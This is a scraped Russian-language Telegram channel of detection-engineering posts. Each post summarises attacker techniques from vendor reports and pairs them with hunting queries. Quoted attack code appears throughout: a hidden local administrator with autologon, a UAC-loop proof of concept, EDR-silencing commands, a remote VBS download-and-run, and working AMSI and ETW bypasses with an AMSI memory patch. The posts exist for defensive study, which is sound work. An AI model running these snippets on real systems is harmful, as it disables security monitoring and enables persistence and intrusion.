Всем привет! 💻 ✌️
Коллеги из ЛК поделились TTP хактивистских группировок
Для подготовки инфраструктуры к уничтожению запускался ps1-скрипт, одна из возможностей которого создание локального пользователя с параметрами
Далее, хост настраивается для автоматического входа с созданным пользователем
Второй индикатор подготовки к уничтожению — перевод системы в безопасный режим с сетью:
🔭 Обнаружение:
🔤 мониторинг создания локальных пользователей и их добавления в группу администраторов
🔤 хантим ключи реестра
🔤 отслеживаем запуск
#detection@detectioneasy
#ttp@detectioneasy
Коллеги из ЛК поделились TTP хактивистских группировок
4BID, BO Team и Red LikhoДля подготовки инфраструктуры к уничтожению запускался ps1-скрипт, одна из возможностей которого создание локального пользователя с параметрами
PasswordExpires, Disabled = FALSE и добавление его в группу локальных администраторов
$userName = "[REDACTED]"
$password = "[REDACTED]"
$domain = "."
$userExists = net user $userName 2>$null
$addUser = net user $userName $password /add
wmic useraccount where "name='$userName'" set PasswordExpires=FALSE | Write-Log
wmic useraccount where "name='$userName'" set Disabled=FALSE | Write-Log
$group = (Get-LocalGroup -SID "S-1-5-32-544").Name
net localgroup $group $userName /add | Write-Log
Далее, хост настраивается для автоматического входа с созданным пользователем
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "AutoAdminLogon" -Value "1" | Write-Log
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultUserName" -Value $userName | Write-Log
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultPassword" -Value $password | Write-Log
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultDomainName" -Value $domain | Write-Log
Второй индикатор подготовки к уничтожению — перевод системы в безопасный режим с сетью:
cmd.exe /Q /c bcdedit /set {current} safeboot network && shutdown -r -f -t 0 1> \Windows\Temp\WsMeHC 2>&1
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogonbcdedit /set {current} safeboot network#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
6🔥7❤5👍4
Всем привет! 💻 ✌️
В фишинговой кампании по распространению🔫 злоумышленники использовали интересный способ закрепления в системе
👨💻 Как это работает?
Атакующие часто используют директорию автозагрузки пользователя. Путь к ней задаётся в реестре:
Если изменить значение этого ключа — Windows начнёт запускать программы уже из нового пути, что позволяет скрытно выполнять бинарь при старте системы
🔭 Обнаружение:
🔤 отслеживаем изменения ключа реестра
p.s. можем похантить, найдется что-то интересное...
#detection@detectioneasy
#ttp@detectioneasy
В фишинговой кампании по распространению
UDPGangster Атакующие часто используют директорию автозагрузки пользователя. Путь к ней задаётся в реестре:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\StartupЕсли изменить значение этого ключа — Windows начнёт запускать программы уже из нового пути, что позволяет скрытно выполнять бинарь при старте системы
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startupp.s. можем похантить, найдется что-то интересное...
#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
4🔥6
Detection is easy
И, судя по отчёту, этот функционал запускается в цикле до тех пор, пока пользователь не согласится выдать привилегии
Всем привет! 💻 ✌️
Помните, в одном из отчётов упоминалось, что атакующие при попытке🔫
У этого приёма есть отдельное название —
👨💻 Как это работает:
Уведомление о повышении привилегий появляется у пользователя снова и снова до тех пор, пока он не нажмёт
Больше похоже на психологический террор)
POC код:
🔭 Обнаружение:
🔤 Запуск
🔤 Для powershell отслеживаем
#detection@detectioneasy
#ttp@detectioneasy
Помните, в одном из отчётов упоминалось, что атакующие при попытке
UAC Bypass использовали запуск PowerShell-скрипта (.ps1) в цикле, пока пользователь не согласится У этого приёма есть отдельное название —
UAC LoopУведомление о повышении привилегий появляется у пользователя снова и снова до тех пор, пока он не нажмёт
ДаБольше похоже на психологический террор)
POC код:
do {
try {
Start-Process notepad.exe -Verb RunAs -ErrorAction Stop
break
} catch {
Start-Sleep 1
}
} while ($true)
consent.exe более одного раза, будет сильно фолситьProvider="Powershell" AND Eventid=800 AND EventData contains "Verb RunAs"#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
3🔥8😁5❤1
Всем привет! 💻 ✌️
Атакующие загружали вредоносные расширения в браузер для кражи данных
👨💻 Как это работает?
В Chromium-based браузерах ранее поддерживался аргумент командной строки
Позднее данный аргумент был скрыт, однако его всё ещё можно было использовать, если отключить соответствующее ограничение с помощью флага:
Таким образом, атакующие могли перезапускать Chrome или Edge с уже загруженным вредоносным расширением без необходимости установки через официальный магазин
В актуальных версиях Chromium данный способ уже не работает
🔭 Обнаружение:
🔤 Хантим аргументы командной строки
#detection@detectioneasy
#ttp@detectioneasy
Атакующие загружали вредоносные расширения в браузер для кражи данных
В Chromium-based браузерах ранее поддерживался аргумент командной строки
--load-extension, который позволял запускать браузер с указанием пути к расширениюПозднее данный аргумент был скрыт, однако его всё ещё можно было использовать, если отключить соответствующее ограничение с помощью флага:
--disable-features=DisableLoadExtensionCommandLineSwitch
Таким образом, атакующие могли перезапускать Chrome или Edge с уже загруженным вредоносным расширением без необходимости установки через официальный магазин
В актуальных версиях Chromium данный способ уже не работает
ProviderName="Microsoft-Windows-Sysmon" and EventId=1 and Image endswith "chrome.exe" and CommandLine contains "--load-extension"
#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Gdatasoftware
Browser Hijacking: Three Technique Studies
If you are searching for technical information on how browser hijacking works, there does not seem to be much out there apart from generic removal instructions. This might be an educational gap we should try and close.
4🔥8
Всем привет! 💻 ✌️
Интересный LPE, но что нам с этим делать?
🔭 Обнаружение:
🔤 утилита
p.s. хосты админов могут фолсить
#detection@detectioneasy
#ttp@detectioneasy
Интересный LPE, но что нам с этим делать?
zabbix_get, как правило используется с сервера zabbix, который в большинстве своем развернут на Linux. Построим на этом детектProviderName="Microsoft-Windows-Sysmon" and EventId=1 and (Image endswith: '\zabbix_get.exe' or Description = "zabbix_sender.exe")
p.s. хосты админов могут фолсить
#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
true_security
lpe через ненастроенный zabbix agent.
Если в файле конфигурации (zabbix_agentd.conf) в директиве Server указан адрес 127.0.0.1 (иногда его оставляют с реальным адресом zabbix server через запятую), то существует возможность локально через zabbix_get выполнять…
Если в файле конфигурации (zabbix_agentd.conf) в директиве Server указан адрес 127.0.0.1 (иногда его оставляют с реальным адресом zabbix server через запятую), то существует возможность локально через zabbix_get выполнять…
4🔥10👍2🤔1
Всем привет! 💻 ✌️
С наступающим Новым годом!
Канал создавался как место для обмена информацией об обнаружении: практическими наблюдениями, идеями, рабочими и нерабочими подходами. Не было цели собирать аудиторию и без ожиданий по росту. Тем не менее, за этот год количество подписчиков оказалось неожиданным — и это хороший сигнал, что тема detection по-прежнему востребована
В 2026-м желаем всем:
✔️ Всегда True Positive
🙅♂️ А False Negative у нас не бывает 💩
Пусть детекты будут простыми, воспроизводимыми и объяснимыми
Логи — полными, а use case — проверяемыми
Спасибо всем, кто читает и использует материалы в работе!)
#detection@detectioneasy
С наступающим Новым годом!
Канал создавался как место для обмена информацией об обнаружении: практическими наблюдениями, идеями, рабочими и нерабочими подходами. Не было цели собирать аудиторию и без ожиданий по росту. Тем не менее, за этот год количество подписчиков оказалось неожиданным — и это хороший сигнал, что тема detection по-прежнему востребована
В 2026-м желаем всем:
Пусть детекты будут простыми, воспроизводимыми и объяснимыми
Логи — полными, а use case — проверяемыми
Спасибо всем, кто читает и использует материалы в работе!)
#detection@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
4🔥18❤5👍4
Всем привет! 💻 ✌️
Многие правила обнаружения строятся на событиях ключей реестра в
При этом в Windows существует механизм обязательных (mandatory) пользовательских профилей, который может быть использован атакующим в качестве закрепа
👨💻 Как это работает?
При входе пользователя в систему загрузится профиль из файла
Атакующим нужно подготовить профиль пользователя с изменными ключами реестра
🔭 Обнаружение:
🔤 отслеживанием создание файлов
#detection@detectioneasy
#ttp@detectioneasy
Многие правила обнаружения строятся на событиях ключей реестра в
HKCU, которые формируются на основе данных от callback - CmRegisterCallbackExПри этом в Windows существует механизм обязательных (mandatory) пользовательских профилей, который может быть использован атакующим в качестве закрепа
Профили пользователей становятся обязательными, когда администратор переименовывает файл NTUSER.dat в NTUSER.man. Расширение .man делает профиль пользователя доступным только для чтения и имеет высший приоритет
При входе пользователя в систему загрузится профиль из файла
NTUSER.MAN - никаких операций записи в реестр не происходитАтакующим нужно подготовить профиль пользователя с изменными ключами реестра
NTUSER.MAN в %USERPROFILE%#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
DeceptIQ
Registry Writes Without Registry Callbacks
Explore NTUSER.MAN, an overlooked Windows profile mechanism that allows registry persistence without triggering CmRegisterCallback EDR monitoring.
4🔥9👍4🤔2
Detection is easy
Всем привет! 💻 ✌️ Многие правила обнаружения строятся на событиях ключей реестра в HKCU, которые формируются на основе данных от callback - CmRegisterCallbackEx При этом в Windows существует механизм обязательных (mandatory) пользовательских профилей, который…
Всем привет! 💻 ✌️
Неудачные попытки эксплуатации техники можем хантить по событиям журнала
#detection@detectioneasy
#ttp@detectioneasy
Неудачные попытки эксплуатации техники можем хантить по событиям журнала
ApplicationProviderName="Microsoft-Windows-User Profiles Service" AND EventID in [1508, 1509]#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
3🔥10👍3
Всем привет! 💻 ✌️
ipurple собрали в одну статью способы нарушения канала связи средств обнаружения базовыми возможностями Windows
🔤 Использование windows filtering platform
🔤 Файл hosts
🔤 Изменение таблицы маршрутизации
🔤 Изменение Name Resolution Policy Table
🔤 Правила фильтрации IPSec
🔤 Secondary IP Addresses. Интересный способ - назначать IP-адреса серверов управления EDR на локальный интерфейс хоста
🔭 Обнаружение пошагово рассмотрено в статье со скринами
p.s. хантим адреса и доменные имена наших серверов управления в артефактах сетевой подсистемы Windows и в откинутых сетевых соединениях)
#detection@detectioneasy
#ttp@detectioneasy
ipurple собрали в одну статью способы нарушения канала связи средств обнаружения базовыми возможностями Windows
Add-Content -Path "C:\Windows\System32\drivers\etc\hosts" -Value "127.0.0.1 edr.domain.com"
Add-Content -Path "C:\Windows\System32\drivers\etc\hosts.ics" -Value "127.0.0.1 edr.domain.com"
Get-NetIPInterface
New-NetRoute -DestinationPrefix "192.168.100.0/32" -InterfaceIndex 1 -PolicyStore ActiveStore
Add-DnsClientNrptRule -Namespace ".endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table"
Add-DnsClientNrptRule -Namespace "endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table"
Clear-DnsClientCache
netsh ipsec static add policy name=ipurplePolicy description=ipurplePolicy
netsh ipsec static set policy name=ipurplePolicy assign=y
netsh ipsec static add filteraction name=BlockFilterAction action=block
netsh ipsec static add rule name=BlockRule policy=ipurplePolicy filterlist=BlockFilterList
p.s. хантим адреса и доменные имена наших серверов управления в артефактах сетевой подсистемы Windows и в откинутых сетевых соединениях)
#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Purple Team
EDR Silencing
Modern Endpoint Detection and Response systems depend on persistent, bidirectional communication with their cloud management console, enabling them to continuously report suspicious activity and re…
5🔥10👍3
Всем привет! 💻 ✌️
Выглядит интересно ⁉️ https://github.com/MHaggis/Security-Detections-MCP/tree/main
🔤 Единый поиск по правилам
🔤 Быстрый ответ на вопрос «**что у меня уже есть для детекта этой атаки?**»
🔤 Анализ покрытия. Показывает, какие техники ATT&CK закрыты
🔤 Генерация идей для новых детектов по недостающим техникам
Пока не тестил, но в беклоге лежал такой проект и под него копились разные правила и репозитории...)
Мой MCP был такой
#detection@detectioneasy
#ttp@detectioneasy
Выглядит интересно ⁉️ https://github.com/MHaggis/Security-Detections-MCP/tree/main
Пока не тестил, но в беклоге лежал такой проект и под него копились разные правила и репозитории...)
Мой MCP был такой
grep -Eri <regexp> <repos_path>#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - MHaggis/Security-Detections-MCP: MCP to help Defenders Detection Engineer Harder and Smarter
MCP to help Defenders Detection Engineer Harder and Smarter - MHaggis/Security-Detections-MCP
10🔥9👍1
Всем привет! 💻 ✌️
Давайте рассмотрим интересные техники из отчёта о ClickFix
🔤 Для хранения полезной нагрузки используется смарт-контракт BNB Smart Chain. JavaScript загружает данные из смарт-контракта и передаёт их в
🔤 Злоумышленники не используют чистый запуск cmd, mshta, или powershell. Вместо этого они перешли на LoTL-технику с использованием SyncAppvPublishingServer.vbs
🔭 Обнаружение:
🔤 можем отслеживать наличие в аргументах командной строки
#detection@detectioneasy
#ttp@detectioneasy
Давайте рассмотрим интересные техники из отчёта о ClickFix
eval(atob(*)). Способ хранения малвари в смарт-контрактах известен как EtherHiding\SyncAppvPublishingServer.vbs и ;#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Expel
ClearFake gets more evasive with new living off the land (LOTL) techniques
ClearFake's latest campaign uses fake CAPTCHAs and social engineering trick victims into installing malware, and it's getting more evasive.
10🔥7👍5😁2
Forwarded from CyberSecurityTechnologies
Detection_Engineering_Cheatsheet.pdf
1.3 MB
#Infographics
#Blue_Team_Techniques
"Detection Engineering Cheatsheet", SANS 2026.
// This poster provides a practical, end-to-end view of Detection Engineering, guiding defenders from raw log data to meaningful alerts
#Blue_Team_Techniques
"Detection Engineering Cheatsheet", SANS 2026.
// This poster provides a practical, end-to-end view of Detection Engineering, guiding defenders from raw log data to meaningful alerts
13👍8🔥4🤔3
Всем привет! 💻 ✌️
После месячной раскачки — возвращаемся к практике
Начнем с отчета о действиях группировки APT-Q-27
❗️Атакующие используют непривычные расширения
У большинства жертв в Windows скрыто отображение расширений файлов. В результате Проводник показывает только имя файла, и
👨💻 Как это работает?
🔤 Пользователь получает ссылку на файл вида
Для отвода внимания жертвы в конце URL установлен идентификатор фрагмента
🔤 По ссылке загружается дропер с расширением
🔤 После запуска он получает список адресов для загрузки остальных шагов из файла
🔤 Далее TTP мимикрируют под процесс обновления Windows
Файлы сохраняются в каталог
Используется файл
🔤 Вредонос закрепляется в ключе
🔤 Далее происходит распаковка
🔤 Отключается UAC, путем изменения ключей реестра
🔭 Обнаружение:
🔤 отслеживаем создание файлов и создание процессов с расширением
🔤 хантим наличие директорий с
🔤 хантим наличие директорий с атрибутом
🔤 отслеживаем и хантим наличие служб с исполняемым файлом в пользовательских директориях
🔤 отслеживаем и хантим изменение ключей реестра
#detection@detectioneasy
#ttp@detectioneasy
После месячной раскачки — возвращаемся к практике
Начнем с отчета о действиях группировки APT-Q-27
❗️Атакующие используют непривычные расширения
exe или scr, а расширение pifУ большинства жертв в Windows скрыто отображение расширений файлов. В результате Проводник показывает только имя файла, и
pif выглядит менее подозрительноhxxps://storage[.]googleapis[.]com/iwantuu/photo202512.pif#image2025-12-29-14-53.jpgДля отвода внимания жертвы в конце URL установлен идентификатор фрагмента
#image2025-12-29-14-53.jpg.pif
hxxps://yyupdats[.]s3.ap-southeast-1.amazonaws.com/updat.txtФайлы сохраняются в каталог
C:\Users\Admin\AppData\Local\\Microsoft\WindowsUpdate\\Cache\WU_20251230_67e65f7b@27 и ему устанавливаются атрибуты Hidden и NotContentIndexedИспользуется файл
updat.exe - (64B07B1C385CF94A3559E323009F7641) легитимный файл, который нужен для детонации полезной нагрузки из crashreport.dllHKCU\Software\Microsoft\Windows\CurrentVersion\Run текущего пользователяbackdoor из файла, который создает службу с именем Windows EventN. Путь к запускаемому файлу C:\\Users\\<User>\\Videos\\<random_string>@27HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\{EnableLUA, ConsentPromptBehaviorAdmin, PromptOnSecureDesktop}pif @ в имениHidden и/или NotContentIndexedUAC#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
cystack.net
Analysis of Suspected Malware Linked to APT-Q-27 Targeting Financial Institutions
Reading Time: 12 minutesĐọc bản tiếng Việt tại đây Overview Context In mid-January 2026, CyStack’s security team observed anomalous activity on a corporate […]
10🔥9👍6❤2
Всем привет! 💻 ✌️
Cisco Talos опубликовали отчет о TTP группировки UAT-8099
👨💻 Как это работает?
🔤 После получения доступа выполняют команды для анализа хоста -
🔤 Для закрепления устанавливают SoftEther VPN и создают учетную запись, маскирующуюся под сервисную,
🔤 Один из инструментов атакующих - GotoHTTP
Загружают через PowerShell
и запускают
🔤 Конечная цель атакующих — внедрение кода в IIS
🔭 Обнаружение:
🔤 отслеживаем запуск
🔤 хантим и отслеживаем создание пользовательских учетных записей с последним символом
🔤 отслеживаем
🔤 мониторим использование RMM Tool
🔤 отслеживаем запуск дочерних процессов (cmd.exe, powershell.exe, etc) от родителя
🔤 отслеживаем создание новых
🔤 создание странных файлов в
#detection@detectioneasy
#ttp@detectioneasy
Cisco Talos опубликовали отчет о TTP группировки UAT-8099
whoami, tasklistmssql$ (в дальнейшем логин менялся, однако IOA оставался тем же)
cmd /c net user mssql$ AppleHuitar7$ /add
cmd /c net localgroup administrators mssql$ /add
cmd /c net user mssql$ /expires:never
Загружают через PowerShell
Invoke-WebRequest https://.*/*.vbsи запускают
cmd /c C:\Users\Public\zcgo1.vbswhoami и net user|localgroup$EventId=4624 and LogonType in [3, 10] and TargetUserName endswith $w3wp.exe*.aspxC:\Users\Public#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Cisco Talos
Dissecting UAT-8099: New persistence mechanisms and regional focus
Cisco Talos has identified a new, regionally targeted campaign by UAT-8099 that leverages advanced persistence techniques and custom BadIIS malware variants to compromise IIS servers, particularly in Thailand and Vietnam.
7🔥9👍5😁2
Всем привет! 💻 ✌️
ClickFix уже многим успел надоесть, однако атакующие продолжают активно продвигать этот метод
Кто-то ещё не заблокировал запуск окна Выполнить⌨️
👨💻 Как это работает?
Атакующие резолвят определенный домен через подконтрольные DNS сервера. Ответ сервера парсится и передается на выполнение LOLBins
🔭 Обнаружение:
🔤 отключаем Выполнить
🔤 хантим RunMRU и мониторим создание новых ключей
🔤 разрешаем подключение только к доверенным DNS-серверам
🔤 хантим DNS-ответы
#detection@detectioneasy
#ttp@detectioneasy
ClickFix уже многим успел надоесть, однако атакующие продолжают активно продвигать этот метод
Кто-то ещё не заблокировал запуск окна Выполнить
Атакующие резолвят определенный домен через подконтрольные DNS сервера. Ответ сервера парсится и передается на выполнение LOLBins
#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
7🔥13👍4
Всем привет 💻 ✌️
Коллеги PT ESC раскрыли техники, используемые для распространения LuciDoor и MarsSnake.
👨💻 Как это работает?
🔤 как правило, атака начинается с фишинга, в рамках которого доставляется файл
🔤 закреп через задачу. Путь к сохраняемому бинарному файлу зависит от прав пользователя
🔤 используемые злоумышленниками библиотеки маскируются под легитимные файлы Windows (заполняются поля описания и метаданные)
🔤 использование утилиты
🔭 Обнаружение:
🔤 мониторинг запуска
🔤 поиск файлов с описанием, содержащим
#detection@detectioneasy
#ttp@detectioneasy
Коллеги PT ESC раскрыли техники, используемые для распространения LuciDoor и MarsSnake.
.doc с макросом. Содержимое документа побуждает пользователя нажать Включить содержимоеобычный пользователь — %AppData%
администратор — %ProgramData%\Microsoft OneDrive\setup\
ftp для запуска команд - FTPlnk_phishing ftp.exe -::s: и анализ дочерних процессов ftp.exeWindows или Microsoft, и отсутствующей/невалидной подписью#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
7🔥11👍6
Всем привет 💻 ✌️
Разбирем
👨💻 Как это работает?
🔤 в ранних кампаниях PhantomProxyLite был бинарником, который работал как фоновый сервис с именем
🔤 в новой кампании инструмент переписали на PowerShell: закрепление теперь делается через задачу Планировщика с тем же именем
🔤 функционал закрепления - создание
❗️В исследовании не уточняется, какой сервис прокидывали через SSH-туннель, поэтому в качестве наиболее вероятного сценария будем рассматривать RDP
🔭 Обнаружение:
🔤 создание задачи и службы с именем
🔤 исходящие сессии (sysmon 3, security 5156) на порт 22. При наличии IDS,NTA исходящие ssh соединения
🔤 отслеживаем запуск нативного ssh клиента
🔤 RDP-сесиию из туннеля мы можем увидеть в логах
🔤 аномалией может стать
#detection@detectioneasy
#ttp@detectioneasy
Разбирем
PhantomProxyLite группы Head Mare, по исследованию ЛКSSHService и поднимал обратный SSH-туннель к C2SSHService, запуск при старте системы от имени SYSTEMSSH-туннеля. Параметры для запуска хранятся в ключе HKLM\SOFTWARE\SSHService❗️В исследовании не уточняется, какой сервис прокидывали через SSH-туннель, поэтому в качестве наиболее вероятного сценария будем рассматривать RDP
SSHService. Можем похантить задачи с powershellC:\Windows\System32\OpenSSH\ssh.exeMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational AND EventId=24 AND Address contains ::%16777216
а такжеMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Admin AND EventId=1158 AND Param1=::%16777216
Security AND EventID=5156 AND SourceAddress contains ::1 and DestAddress contains ::1 and DestPort=3389#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
6🔥10❤4👍4
Всем привет 💻 ✌️
Elastic Security Labs разобрали кампанию ClickFix, которая заканчивается установкой кастомного RAT MIMICRAT
По цепочке видно высокий уровень OPSEC: компрометация легитимных сайтов как инфраструктуры доставки, многоступенчатый PowerShell, затем bypass ETW + AMSI, после чего дропается Lua-лоадер, исполняющий шеллкод в памяти
👨💻 Как это работает?
🔤 доставка осуществляется через ClickFix, в результате которого выполняется обфусцированный Stage 1 — PowerShell-скрипт
🔤 Stage 2 - загруженный скрипт обфусцирован арифметическими операциями
🔤
🔤
🔤
🔤 доставка
🔭 Обнаружение:
🔤 запуск PowerShell в минимальном режиме
🔤 отслеживание длинных символьных последовательностей в логах PowerShell
🔤 в логах PowerShell
🔤 создание файлов
p.s. детекты от elastic:
Execution via Obfuscated PowerShell Script
DNS Query to Suspicious Top Level Domain
Suspicious Command Shell Execution via Windows Run
Token theft and impersonation
Potential Privilege Escalation via Token Impersonation
Shellcode Execution from Low Reputation Module
#detection@detectioneasy
#ttp@detectioneasy
Elastic Security Labs разобрали кампанию ClickFix, которая заканчивается установкой кастомного RAT MIMICRAT
По цепочке видно высокий уровень OPSEC: компрометация легитимных сайтов как инфраструктуры доставки, многоступенчатый PowerShell, затем bypass ETW + AMSI, после чего дропается Lua-лоадер, исполняющий шеллкод в памяти
powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt);
$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
ETW Bypass путем изменения .NET класса
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
AMSI Bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
AMSI - Memory Patching. После отключения обнаружения в %ProgramData%/knz_{random} дропнут архив с Lua loader
$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"
[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
0,
[long]$ScanContent_func.MethodHandle.Value + [long]8,
1
)
Lua loader
$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')
powershell.exe -WInDo Min Reflection.Assembly, System.Diagnostics.Eventing.EventProvider, PSEtwLogProvider, System.Management.Automation.AmsiUtils, GetRandomFileName, IO.Compression.ZipFile, -join [char[]]exe,zip в %ProgramData%p.s. детекты от elastic:
Execution via Obfuscated PowerShell Script
DNS Query to Suspicious Top Level Domain
Suspicious Command Shell Execution via Windows Run
Token theft and impersonation
Potential Privilege Escalation via Token Impersonation
Shellcode Execution from Low Reputation Module
#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
www.elastic.co
MIMICRAT: ClickFix Campaign Delivers Custom RAT via Compromised Legitimate Websites — Elastic Security Labs
Elastic Security Labs uncovered a ClickFix campaign using compromised legitimate sites to deliver a five-stage chain ending in MIMICRAT, a custom native C RAT with malleable C2, token theft, and SOCKS5 tunneling.
8🔥12👍3